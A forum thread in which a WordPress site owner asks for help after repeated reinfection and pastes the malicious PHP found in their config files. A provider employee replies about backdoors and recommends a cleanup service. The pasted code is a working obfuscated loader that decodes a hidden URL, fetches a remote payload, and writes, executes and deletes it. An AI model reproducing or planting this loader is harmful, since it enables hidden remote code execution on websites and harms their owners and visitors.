cancel
Showing results for 
Show  only  | Search instead for 
Did you mean: 
Go to solution

My Site Has Been Hacked What Should I Do?

Hi, my hosted WordPress site has gotten malicious code injected into the config files.

I changed the file back to normal, and have reset all passwords but the code was back after a couple of weeks.

What should I do?

 

Here is the code:

 

<?php
@ini_set('display_errors', '0');
error_reporting(0);
if (!$npDcheckClassBgp) {
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrLUocQYT5ZtHJf/cM1fWdrpdmmSLH6uToRkH";
if (ini_get('allow_url_fopen')) {
function get_data_ya($url) {
$data = file_get_contents($url);
return $data;
}
}
else {
function get_data_ya($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
}
function wp_cd($fd, $fa="")
{
$fe = "wp_frmfunct";
$len = strlen($fd);
$ff = '';
$n = $len>100 ? 8 : 2;
while( strlen($ff)<$len )
{
$ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
}
return $fd^$ff;
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
$subdirs = glob("$dira/*", GLOB_ONLYDIR);
foreach ($subdirs as $subdira) {
if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
}
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
$npDcheckClassBgp = 'aue';
}

1 ACCEPTED SOLUTION
Employee

Hey there, @szklanym!

 

It looks like there's a vulnerability somewhere in your environment causing you to be reinfected. This is not abnormal once breached. In a lot of cases, a backdoor file is placed into the environment allowing the attackers to reinfect.

 

Finding these backdoors and infected files can be daunting. We have a dedicated team with tools and experience cleaning hundreds of websites every day. Have you considered chatting with our Website Security team?

 

Check out our website malware cleanup products - https://www.godaddy.com/web-security/website-security

 

I appreciate your note!

 

Dre Armeda, CISSP
Director, Product Management | GoDaddy Security Product Group

View solution in original post

1 REPLY 1
Employee

Hey there, @szklanym!

 

It looks like there's a vulnerability somewhere in your environment causing you to be reinfected. This is not abnormal once breached. In a lot of cases, a backdoor file is placed into the environment allowing the attackers to reinfect.

 

Finding these backdoors and infected files can be daunting. We have a dedicated team with tools and experience cleaning hundreds of websites every day. Have you considered chatting with our Website Security team?

 

Check out our website malware cleanup products - https://www.godaddy.com/web-security/website-security

 

I appreciate your note!

 

Dre Armeda, CISSP
Director, Product Management | GoDaddy Security Product Group

View solution in original post